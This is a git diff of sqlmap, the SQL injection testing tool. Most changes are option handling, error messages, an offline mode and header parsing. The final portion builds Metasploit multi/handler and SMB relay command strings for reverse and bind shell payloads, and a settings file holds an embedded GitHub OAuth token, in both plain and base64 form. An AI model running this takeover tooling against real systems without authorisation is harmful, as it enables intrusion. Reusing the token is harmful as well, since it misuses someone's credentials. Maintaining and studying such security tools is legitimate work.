kb.heuristicDbms = None kb.heuristicMode = False @@ -1797,9 +1829,11 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.multiThreadMode = False kb.negativeLogic = False kb.nullConnection = None + kb.oldMsf = None kb.orderByColumns = None kb.originalCode = None kb.originalPage = None + kb.originalPageTime = None kb.originalTimeDelay = None kb.originalUrls = dict() @@ -1845,6 +1879,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.technique = None kb.tempDir = None kb.testMode = False + kb.testOnlyCustom = False kb.testQueryCount = 0 kb.testType = None kb.threadContinue = True @@ -1934,16 +1969,16 @@ def _useWizardInterface(): dataToStdout("\nsqlmap is running, please wait..\n\n") -def _saveCmdline(): +def _saveConfig(): """ - Saves the command line options on a sqlmap configuration INI file + Saves the command line options to a sqlmap configuration INI file Format. """ - if not conf.saveCmdline: + if not conf.saveConfig: return - debugMsg = "saving command line options on a sqlmap configuration INI file" + debugMsg = "saving command line options to a sqlmap configuration INI file" logger.debug(debugMsg) config = UnicodeRawConfigParser() @@ -1966,6 +2001,9 @@ def _saveCmdline(): if datatype and isListLike(datatype): datatype = datatype[0] + if option in IGNORE_SAVE_OPTIONS: + continue + if value is None: if datatype == OPTION_TYPE.BOOLEAN: value = "False" @@ -1982,16 +2020,16 @@ def _saveCmdline(): config.set(family, option, value) - confFP = openFile(paths.SQLMAP_CONFIG, "wb") + confFP = openFile(conf.saveConfig, "wb") try: config.write(confFP) except IOError, ex: errMsg = "something went wrong while trying " - errMsg += "to write to the configuration INI file '%s' ('%s')" % (paths.SQLMAP_CONFIG, ex) + errMsg += "to write to the configuration file '%s' ('%s')" % (conf.saveConfig, ex) raise SqlmapSystemException(errMsg) - infoMsg = "saved command line options on '%s' configuration file" % paths.SQLMAP_CONFIG + infoMsg = "saved command line options to the configuration file '%s'" % conf.saveConfig logger.info(infoMsg) def setVerbosity(): @@ -2029,7 +2067,12 @@ def _mergeOptions(inputOptions, overrideOptions): """ if inputOptions.pickledOptions: - inputOptions = base64unpickle(inputOptions.pickledOptions) + try: + inputOptions = base64unpickle(inputOptions.pickledOptions) + except Exception, ex: + errMsg = "provided invalid value '%s' for option '--pickled-options'" % inputOptions.pickledOptions + errMsg += " ('%s')" % ex.message if ex.message else "" + raise SqlmapSyntaxException(errMsg) if inputOptions.configFile: configFileParser(inputOptions.configFile) @@ -2446,9 +2489,10 @@ def init(): _useWizardInterface() setVerbosity() - _saveCmdline() + _saveConfig() _setRequestFromFile() _cleanupOptions() + _dirtyPatches() _purgeOutput() _checkDependencies() _createTemporaryDirectory() diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 49eae9230..0445ccb09 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -202,14 +202,13 @@ optDict = { "outputDir": "string", "parseErrors": "boolean", "pivotColumn": "string", - "saveCmdline": "boolean", + "saveConfig": "string", "scope": "string", "testFilter": "string", "updateAll": "boolean", }, "Miscellaneous": { - "mnemonics": "string", "alert": "string", "answers": "string", "beep": "boolean", @@ -218,6 +217,7 @@ optDict = { "disableColoring": "boolean", "googlePage": "integer", "mobile": "boolean", + "offline": "boolean", "pageRank": "boolean", "purgeOutput": "boolean", "smart": "boolean", diff --git a/lib/core/replication.py b/lib/core/replication.py index b65f818de..c5bbd24cc 100644 --- a/lib/core/replication.py +++ b/lib/core/replication.py @@ -70,7 +70,7 @@ class Replication(object): try: self.parent.cursor.execute(sql, parameters) except sqlite3.OperationalError, ex: - errMsg = "problem occurred ('%s') while accessing sqlite database " % ex + errMsg = "problem occurred ('%s') while accessing sqlite database " % unicode(ex) errMsg += "located at '%s'. Please make sure that " % self.parent.dbpath errMsg += "it's not used by some other program" raise SqlmapGenericException(errMsg) diff --git a/lib/core/settings.py b/lib/core/settings.py index b6563cc83..2457770d1 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -6,7 +6,6 @@ See the file 'doc/COPYING' for copying permission """ import os -import random import re import subprocess import string @@ -324,11 +323,11 @@ CUSTOM_INJECTION_MARK_CHAR = '*' # Other way to declare injection position INJECT_HERE_MARK = '%INJECT HERE%' -# Maximum length used for retrieving data over MySQL error based payload due to "known" problems with longer result strings -MYSQL_ERROR_CHUNK_LENGTH = 50 +# Minimum chunk length used for retrieving data over error based payloads +MIN_ERROR_CHUNK_LENGTH = 8 -# Maximum length used for retrieving data over MSSQL error based payload due to trimming problems with longer result strings -MSSQL_ERROR_CHUNK_LENGTH = 100 +# Maximum chunk length used for retrieving data over error based payloads +MAX_ERROR_CHUNK_LENGTH = 1024 # Do not escape the injected statement if it contains any of the following SQL keywords EXCLUDE_UNESCAPE = ("WAITFOR DELAY ", " INTO DUMPFILE ", " INTO OUTFILE ", "CREATE ", "BULK ", "EXEC ", "RECONFIGURE ", "DECLARE ", "'%s'" % CHAR_INFERENCE_MARK) @@ -387,6 +386,9 @@ CODECS_LIST_PAGE = "http://docs.python.org/library/codecs.html#standard-encoding # Simple regular expression used to distinguish scalar from multiple-row commands (not sole condition) SQL_SCALAR_REGEX = r"\A(SELECT(?!\s+DISTINCT\(?))?\s*\w*\(" +# Option/switch values to ignore during configuration save +IGNORE_SAVE_OPTIONS = ("saveConfig",) + # IP address of the localhost LOCALHOST = "127.0.0.1" @@ -484,7 +486,7 @@ DEFAULT_COOKIE_DELIMITER = ';' FORCE_COOKIE_EXPIRATION_TIME = "9999999999" # Github OAuth token used for creating an automatic Issue for unhandled exceptions -GITHUB_REPORT_OAUTH_TOKEN = "f05e68171afd41a445b1fff80f369fae88b37968" +GITHUB_REPORT_OAUTH_TOKEN = "YzQzM2M2YzgzMDExN2I5ZDMyYjAzNTIzODIwZDA2MDFmMmVjODI1Ng==" # Skip unforced HashDB flush requests below the threshold number of cached items HASHDB_FLUSH_THRESHOLD = 32 @@ -612,6 +614,9 @@ MIN_ENCODED_LEN_CHECK = 5 # Timeout in seconds in which Metasploit remote session has to be initialized METASPLOIT_SESSION_TIMEOUT = 300 +# Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html +LOBLKSIZE = 2048 + # Suffix used to mark variables having keyword names EVALCODE_KEYWORD_SUFFIX = "_KEYWORD" diff --git a/lib/core/shell.py b/lib/core/shell.py index d4ca035e0..7b53bc389 100644 --- a/lib/core/shell.py +++ b/lib/core/shell.py @@ -10,7 +10,6 @@ import os import rlcompleter from lib.core import readlineng as readline -from lib.core.common import Backend from lib.core.data import logger from lib.core.data import paths from lib.core.enums import AUTOCOMPLETE_TYPE @@ -43,7 +42,7 @@ def saveHistory(completion=None): historyPath = paths.SQLMAP_SHELL_HISTORY try: - with open(historyPath, "w+") as f: + with open(historyPath, "w+"): pass except: pass @@ -92,7 +91,7 @@ class CompleterNG(rlcompleter.Completer): matches.append(word) return matches - + def autoCompletion(completion=None, os=None, commands=None): if not readlineAvailable(): return diff --git a/lib/core/target.py b/lib/core/target.py index 90d2a68bd..50158817a 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -123,11 +123,8 @@ def _setRequestParams(): else: kb.processUserMarks = not test or test[0] not in ("n", "N") - if kb.processUserMarks and "=%s" % CUSTOM_INJECTION_MARK_CHAR in conf.data: - warnMsg = "it seems that you've provided empty parameter value(s) " - warnMsg += "for testing. Please, always use only valid parameter values " - warnMsg += "so sqlmap could be able to run properly" - logger.warn(warnMsg) + if kb.processUserMarks: + kb.testOnlyCustom = True if not (kb.processUserMarks and CUSTOM_INJECTION_MARK_CHAR in conf.data): if re.search(JSON_RECOGNITION_REGEX, conf.data): @@ -137,6 +134,7 @@ def _setRequestParams(): if test and test[0] in ("q", "Q"): raise SqlmapUserQuitException elif test[0] not in ("n", "N"): + conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR), conf.data) conf.data = re.sub(r'("(?P[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR), conf.data) @@ -155,6 +153,7 @@ def _setRequestParams(): if test and test[0] in ("q", "Q"): raise SqlmapUserQuitException elif test[0] not in ("n", "N"): + conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = re.sub(r"('(?P[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % CUSTOM_INJECTION_MARK_CHAR), conf.data) conf.data = re.sub(r"('(?P[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % CUSTOM_INJECTION_MARK_CHAR), conf.data) @@ -178,6 +177,7 @@ def _setRequestParams(): if test and test[0] in ("q", "Q"): raise SqlmapUserQuitException elif test[0] not in ("n", "N"): + conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = re.sub(r"(<(?P[^>]+)( [^<]*)?>)([^<]+)(\g<4>%s\g<5>" % CUSTOM_INJECTION_MARK_CHAR), conf.data) kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML @@ -189,6 +189,7 @@ def _setRequestParams(): if test and test[0] in ("q", "Q"): raise SqlmapUserQuitException elif test[0] not in ("n", "N"): + conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data) conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER) conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"'](?P[^\n]+?)[\"']).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % CUSTOM_INJECTION_MARK_CHAR), conf.data) kb.postHint = POST_HINT.MULTIPART @@ -241,11 +242,14 @@ def _setRequestParams(): else: kb.processUserMarks = not test or test[0] not in ("n", "N") - if kb.processUserMarks and "=%s" % CUSTOM_INJECTION_MARK_CHAR in _: - warnMsg = "it seems that you've provided empty parameter value(s) " - warnMsg += "for testing. Please, always use only valid parameter values " - warnMsg += "so sqlmap could be able to run properly" - logger.warn(warnMsg) + if kb.processUserMarks: + kb.testOnlyCustom = True + + if "=%s" % CUSTOM_INJECTION_MARK_CHAR in _: + warnMsg = "it seems that you've provided empty parameter value(s) " + warnMsg += "for testing. Please, always use only valid parameter values " + warnMsg += "so sqlmap could be able to run properly" + logger.warn(warnMsg) if not kb.processUserMarks: if place == PLACE.URI: @@ -399,12 +403,18 @@ def _resumeHashDBValues(): """ kb.absFilePaths = hashDBRetrieve(HASHDB_KEYS.KB_ABS_FILE_PATHS, True) or kb.absFilePaths - kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars - kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings kb.brute.tables = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_TABLES, True) or kb.brute.tables kb.brute.columns = hashDBRetrieve(HASHDB_KEYS.KB_BRUTE_COLUMNS, True) or kb.brute.columns + kb.chars = hashDBRetrieve(HASHDB_KEYS.KB_CHARS, True) or kb.chars + kb.dynamicMarkings = hashDBRetrieve(HASHDB_KEYS.KB_DYNAMIC_MARKINGS, True) or kb.dynamicMarkings kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable + kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH) + if kb.errorChunkLength and kb.errorChunkLength.isdigit(): + kb.errorChunkLength = int(kb.errorChunkLength) + else: + kb.errorChunkLength = None + conf.tmpPath = conf.tmpPath or hashDBRetrieve(HASHDB_KEYS.CONF_TMP_PATH) for injection in hashDBRetrieve(HASHDB_KEYS.KB_INJECTIONS, True) or []: @@ -604,7 +614,7 @@ def _createTargetDirs(): warnMsg = "unable to create regular output directory " warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex)) - warnMsg += "Using temporary directory '%s' instead" % tempDir + warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) logger.warn(warnMsg) paths.SQLMAP_OUTPUT_PATH = tempDir @@ -626,7 +636,7 @@ def _createTargetDirs(): warnMsg = "unable to create output directory " warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex)) - warnMsg += "Using temporary directory '%s' instead" % tempDir + warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) logger.warn(warnMsg) conf.outputPath = tempDir @@ -683,10 +693,13 @@ def initTargetEnv(): class _(unicode): pass + kb.postUrlEncode = True + for key, value in conf.httpHeaders: if key.upper() == HTTP_HEADER.CONTENT_TYPE.upper(): kb.postUrlEncode = "urlencoded" in value break + if kb.postUrlEncode: original = conf.data conf.data = _(urldecode(conf.data)) diff --git a/lib/core/threads.py b/lib/core/threads.py index 8647ecfd0..7a1f8d0f3 100644 --- a/lib/core/threads.py +++ b/lib/core/threads.py @@ -47,6 +47,7 @@ class _ThreadData(threading.local): self.lastHTTPError = None self.lastRedirectMsg = None self.lastQueryDuration = 0 + self.lastPage = None self.lastRequestMsg = None self.lastRequestUID = 0 self.lastRedirectURL = None diff --git a/lib/core/wordlist.py b/lib/core/wordlist.py index bc4e486a1..e7c902beb 100644 --- a/lib/core/wordlist.py +++ b/lib/core/wordlist.py @@ -41,7 +41,13 @@ class Wordlist(object): else: self.current = self.filenames[self.index] if os.path.splitext(self.current)[1].lower() == ".zip": - _ = zipfile.ZipFile(self.current, 'r') + try: + _ = zipfile.ZipFile(self.current, 'r') + except zipfile.error, ex: + errMsg = "something seems to be wrong with " + errMsg += "the file '%s' ('%s'). Please make " % (self.current, ex) + errMsg += "sure that you haven't made any changes to it" + raise SqlmapInstallationException, errMsg if len(_.namelist()) == 0: errMsg = "no file(s) inside '%s'" % self.current raise SqlmapDataException(errMsg) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index 60cadde7b..2ad597188 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -127,6 +127,9 @@ def cmdLineParser(): request.add_option("--referer", dest="referer", help="HTTP Referer header value") + request.add_option("-H", "--header", dest="header", + help="Extra header (e.g. \"X-Forwarded-For: 127.0.0.1\")") + request.add_option("--headers", dest="headers", help="Extra headers (e.g. \"Accept-Language: fr\\nETag: 123\")") @@ -659,8 +662,7 @@ def cmdLineParser(): general.add_option("--pivot-column", dest="pivotColumn", help="Pivot column name") - general.add_option("--save", dest="saveCmdline", - action="store_true", + general.add_option("--save", dest="saveConfig", help="Save options to a configuration INI file") general.add_option("--scope", dest="scope", @@ -686,7 +688,7 @@ def cmdLineParser(): help="Set question answers (e.g. \"quit=N,follow=N\")") miscellaneous.add_option("--beep", dest="beep", action="store_true", - help="Make a beep sound when SQL injection is found") + help="Beep on question and/or when SQL injection is found") miscellaneous.add_option("--cleanup", dest="cleanup", action="store_true", @@ -712,6 +714,10 @@ def cmdLineParser(): action="store_true", help="Imitate smartphone through HTTP User-Agent header") + miscellaneous.add_option("--offline", dest="offline", + action="store_true", + help="Work in offline mode (only use session data)") + miscellaneous.add_option("--page-rank", dest="pageRank", action="store_true", help="Display page rank (PR) for Google dork results") @@ -799,6 +805,7 @@ def cmdLineParser(): argv = [] prompt = False advancedHelp = True + extraHeaders = [] for arg in sys.argv: argv.append(getUnicode(arg, encoding=sys.getfilesystemencoding())) @@ -854,12 +861,17 @@ def cmdLineParser(): for arg in shlex.split(command): argv.append(getUnicode(arg, encoding=sys.stdin.encoding)) except ValueError, ex: - raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex + raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message # Hide non-basic options in basic help case for i in xrange(len(argv)): if argv[i] == "-hh": argv[i] = "-h" + elif re.search(r"\A-\w=.+", argv[i]): + print "[!] potentially miswritten (illegal '=') short option detected ('%s')" % argv[i] + elif argv[i] == "-H": + if i + 1 < len(argv): + extraHeaders.append(argv[i + 1]) elif re.match(r"\A\d+!\Z", argv[i]) and argv[max(0, i - 1)] == "--threads" or re.match(r"\A--threads.+\d+!\Z", argv[i]): argv[i] = argv[i][:-1] conf.skipThreadCheck = True @@ -888,6 +900,12 @@ def cmdLineParser(): print "\n[!] to see full list of options run with '-hh'" raise + if extraHeaders: + if not args.headers: + args.headers = "" + delimiter = "\\n" if "\\n" in args.headers else "\n" + args.headers += delimiter + delimiter.join(extraHeaders) + # Expand given mnemonic options (e.g. -z "ign,flu,bat") for i in xrange(len(argv) - 1): if argv[i] == "-z": diff --git a/lib/parse/configfile.py b/lib/parse/configfile.py index 653faefbc..dbbc5ad78 100644 --- a/lib/parse/configfile.py +++ b/lib/parse/configfile.py @@ -5,11 +5,6 @@ Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ -import codecs - -from ConfigParser import MissingSectionHeaderError -from ConfigParser import ParsingError - from lib.core.common import checkFile from lib.core.common import getUnicode from lib.core.common import openFile @@ -20,7 +15,6 @@ from lib.core.data import logger from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.exception import SqlmapSyntaxException from lib.core.optiondict import optDict -from lib.core.settings import UNICODE_ENCODING config = None @@ -73,7 +67,7 @@ def configFileParser(configFile): config = UnicodeRawConfigParser() config.readfp(configFP) except Exception, ex: - errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % getUnicode(ex) + errMsg = "you have provided an invalid and/or unreadable configuration file ('%s')" % ex.message raise SqlmapSyntaxException(errMsg) if not config.has_section("Target"): diff --git a/lib/parse/payloads.py b/lib/parse/payloads.py index c98a7f014..a96867082 100644 --- a/lib/parse/payloads.py +++ b/lib/parse/payloads.py @@ -10,7 +10,6 @@ import os from xml.etree import ElementTree as et from lib.core.data import conf -from lib.core.data import logger from lib.core.data import paths from lib.core.datatype import AttribDict from lib.core.exception import SqlmapInstallationException @@ -89,8 +88,6 @@ def loadPayloads(): for payloadFile in payloadFiles: payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile) - #logger.debug("Parsing payloads from file '%s'" % payloadFile) - try: doc = et.parse(payloadFilePath) except Exception, ex: diff --git a/lib/request/basic.py b/lib/request/basic.py index 41829c0ce..1c88d327d 100755 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -191,7 +191,7 @@ def checkCharEncoding(encoding, warn=True): # Reference: http://philip.html5.org/data/charsets-2.html if encoding in translate: encoding = translate[encoding] - elif encoding in ("null", "{charset}", "*"): + elif encoding in ("null", "{charset}", "*") or not re.search(r"\w", encoding): return None # Reference: http://www.iana.org/assignments/character-sets diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 0cfb53957..b3d76ea27 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -77,7 +77,7 @@ def _comparison(page, headers, code, getRatioValue, pageLength): if page: # In case of an DBMS error page return None - if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()): + if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()) and not kb.negativeLogic: return None # Dynamic content lines to be excluded before comparison @@ -165,6 +165,9 @@ def _comparison(page, headers, code, getRatioValue, pageLength): elif ratio > UPPER_RATIO_BOUND: return True + elif ratio < LOWER_RATIO_BOUND: + return False + elif kb.matchRatio is None: return None diff --git a/lib/request/connect.py b/lib/request/connect.py index b3fe886f1..76b1afdf8 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -212,7 +212,9 @@ class Connect(object): elif conf.cpuThrottle: cpuThrottle(conf.cpuThrottle) - if conf.dummy: + if conf.offline: + return None, None, None + elif conf.dummy: return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None threadData = getCurrentThreadData() @@ -372,7 +374,7 @@ class Connect(object): headers[unicodeencode(key, kb.pageEncoding)] = unicodeencode(item, kb.pageEncoding) url = unicodeencode(url) - post = unicodeencode(post, kb.pageEncoding) + post = unicodeencode(post) if websocket_: ws = websocket.WebSocket() @@ -573,7 +575,7 @@ class Connect(object): debugMsg = "got HTTP error code: %d (%s)" % (code, status) logger.debug(debugMsg) - except (urllib2.URLError, socket.error, socket.timeout, httplib.BadStatusLine, httplib.IncompleteRead, httplib.ResponseNotReady, struct.error, ProxyError, SqlmapCompressionException, WebSocketException), e: + except (urllib2.URLError, socket.error, socket.timeout, httplib.HTTPException, struct.error, ProxyError, SqlmapCompressionException, WebSocketException), e: tbMsg = traceback.format_exc() if "no host given" in tbMsg: @@ -820,7 +822,6 @@ class Connect(object): retVal = paramString match = re.search("%s=(?P[^&]*)" % re.escape(parameter), paramString) if match: - origValue = match.group("value") retVal = re.sub("%s=[^&]*" % re.escape(parameter), "%s=%s" % (parameter, newValue), paramString) return retVal @@ -888,11 +889,16 @@ class Connect(object): if conf.evalCode: delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER - variables = {"uri": uri} + variables = {"uri": uri, "lastPage": threadData.lastPage} originals = {} keywords = keyword.kwlist - for item in filter(None, (get, post if not kb.postHint else None)): + if not get and PLACE.URI in conf.parameters: + query = urlparse.urlsplit(uri).query or "" + else: + query = None + + for item in filter(None, (get, post if not kb.postHint else None, query)): for part in item.split(delimiter): if '=' in part: name, value = part.split('=', 1) @@ -955,6 +961,10 @@ class Connect(object): found = True post = re.sub(regex, "\g<1>%s\g<3>" % value, post) + if re.search(regex, (query or "")): + found = True + uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value, uri) + regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), name, re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) if re.search(regex, (cookie or "")): found = True @@ -1029,23 +1039,24 @@ class Connect(object): if kb.nullConnection and not content and not response and not timeBasedCompare: noteResponseTime = False - pushValue(kb.pageCompress) - kb.pageCompress = False + try: + pushValue(kb.pageCompress) + kb.pageCompress = False - if kb.nullConnection == NULLCONNECTION.HEAD: - method = HTTPMETHOD.HEAD - elif kb.nullConnection == NULLCONNECTION.RANGE: - auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1" + if kb.nullConnection == NULLCONNECTION.HEAD: + method = HTTPMETHOD.HEAD + elif kb.nullConnection == NULLCONNECTION.RANGE: + auxHeaders[HTTP_HEADER.RANGE] = "bytes=-1" - _, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) + _, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) - if headers: - if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and HTTP_HEADER.CONTENT_LENGTH in headers: - pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH]) - elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers: - pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) - - kb.pageCompress = popValue() + if headers: + if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and HTTP_HEADER.CONTENT_LENGTH in headers: + pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH]) + elif kb.nullConnection == NULLCONNECTION.RANGE and HTTP_HEADER.CONTENT_RANGE in headers: + pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) + finally: + kb.pageCompress = popValue() if not pageLength: try: @@ -1062,6 +1073,7 @@ class Connect(object): page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) threadData.lastQueryDuration = calculateDeltaSeconds(start) + threadData.lastPage = page kb.originalCode = kb.originalCode or code diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index bbd291e15..6906f4686 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission import httplib import socket -import sys import urllib2 from lib.core.data import kb diff --git a/lib/request/inject.py b/lib/request/inject.py index 0395c0a56..b12517ce4 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -391,11 +391,13 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser warnMsg += ". Falling back to partial UNION technique" singleTimeWarnMessage(warnMsg) - pushValue(kb.forcePartialUnion) - kb.forcePartialUnion = True - value = _goUnion(query, unpack, dump) - found = (value is not None) or (value is None and expectingNone) - kb.forcePartialUnion = popValue() + try: + pushValue(kb.forcePartialUnion) + kb.forcePartialUnion = True + value = _goUnion(query, unpack, dump) + found = (value is not None) or (value is None and expectingNone) + finally: + kb.forcePartialUnion = popValue() else: singleTimeWarnMessage(warnMsg) @@ -450,7 +452,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser kb.safeCharEncode = False - if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: + if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " warnMsg += "a switch '--no-cast' " warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else "" diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 4f7b43887..8717b6c73 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -24,6 +24,7 @@ from lib.core.common import randomRange from lib.core.common import randomStr from lib.core.common import readInput from lib.core.data import conf +from lib.core.data import kb from lib.core.data import logger from lib.core.data import paths from lib.core.enums import DBMS @@ -61,8 +62,10 @@ class Metasploit: self.localIP = getLocalIP() self.remoteIP = getRemoteIP() or conf.hostname self._msfCli = normalizePath(os.path.join(conf.msfPath, "msfcli")) + self._msfConsole = normalizePath(os.path.join(conf.msfPath, "msfconsole")) self._msfEncode = normalizePath(os.path.join(conf.msfPath, "msfencode")) self._msfPayload = normalizePath(os.path.join(conf.msfPath, "msfpayload")) + self._msfVenom = normalizePath(os.path.join(conf.msfPath, "msfvenom")) if IS_WIN: _ = conf.msfPath @@ -76,8 +79,10 @@ class Metasploit: if _ == old: break self._msfCli = "%s & ruby %s" % (_, self._msfCli) + self._msfConsole = "%s & ruby %s" % (_, self._msfConsole) self._msfEncode = "ruby %s" % self._msfEncode self._msfPayload = "%s & ruby %s" % (_, self._msfPayload) + self._msfVenom = "%s & ruby %s" % (_, self._msfVenom) self._msfPayloadsList = { "windows": { @@ -326,42 +331,80 @@ class Metasploit: self.payloadConnStr = "%s/%s" % (self.payloadStr, self.connectionStr) def _forgeMsfCliCmd(self, exitfunc="process"): - self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) - self._cliCmd += " EXITFUNC=%s" % exitfunc - self._cliCmd += " LPORT=%s" % self.portStr + if kb.oldMsf: + self._cliCmd = "%s multi/handler PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) + self._cliCmd += " EXITFUNC=%s" % exitfunc + self._cliCmd += " LPORT=%s" % self.portStr - if self.connectionStr.startswith("bind"): - self._cliCmd += " RHOST=%s" % self.rhostStr - elif self.connectionStr.startswith("reverse"): - self._cliCmd += " LHOST=%s" % self.lhostStr + if self.connectionStr.startswith("bind"): + self._cliCmd += " RHOST=%s" % self.rhostStr + elif self.connectionStr.startswith("reverse"): + self._cliCmd += " LHOST=%s" % self.lhostStr + else: + raise SqlmapDataException("unexpected connection type") + + if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": + self._cliCmd += " DisableCourtesyShell=true" + + self._cliCmd += " E" else: - raise SqlmapDataException("unexpected connection type") + self._cliCmd = "%s -x 'use multi/handler; set PAYLOAD %s" % (self._msfConsole, self.payloadConnStr) + self._cliCmd += "; set EXITFUNC %s" % exitfunc + self._cliCmd += "; set LPORT %s" % self.portStr - if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": - self._cliCmd += " DisableCourtesyShell=true" + if self.connectionStr.startswith("bind"): + self._cliCmd += "; set RHOST %s" % self.rhostStr + elif self.connectionStr.startswith("reverse"): + self._cliCmd += "; set LHOST %s" % self.lhostStr + else: + raise SqlmapDataException("unexpected connection type") - self._cliCmd += " E" + if Backend.isOs(OS.WINDOWS) and self.payloadStr == "windows/vncinject": + self._cliCmd += "; set DisableCourtesyShell true" + + self._cliCmd += "; exploit'" def _forgeMsfCliCmdForSmbrelay(self): self._prepareIngredients(encode=False) - self._cliCmd = "%s windows/smb/smb_relay PAYLOAD=%s" % (self._msfCli, self.payloadConnStr) - self._cliCmd += " EXITFUNC=thread" - self._cliCmd += " LPORT=%s" % self.portStr - self._cliCmd += " SRVHOST=%s" % self.lhostStr - self._cliCmd += " SRVPORT=%s" % self._selectSMBPort() + if kb.oldMsf: + 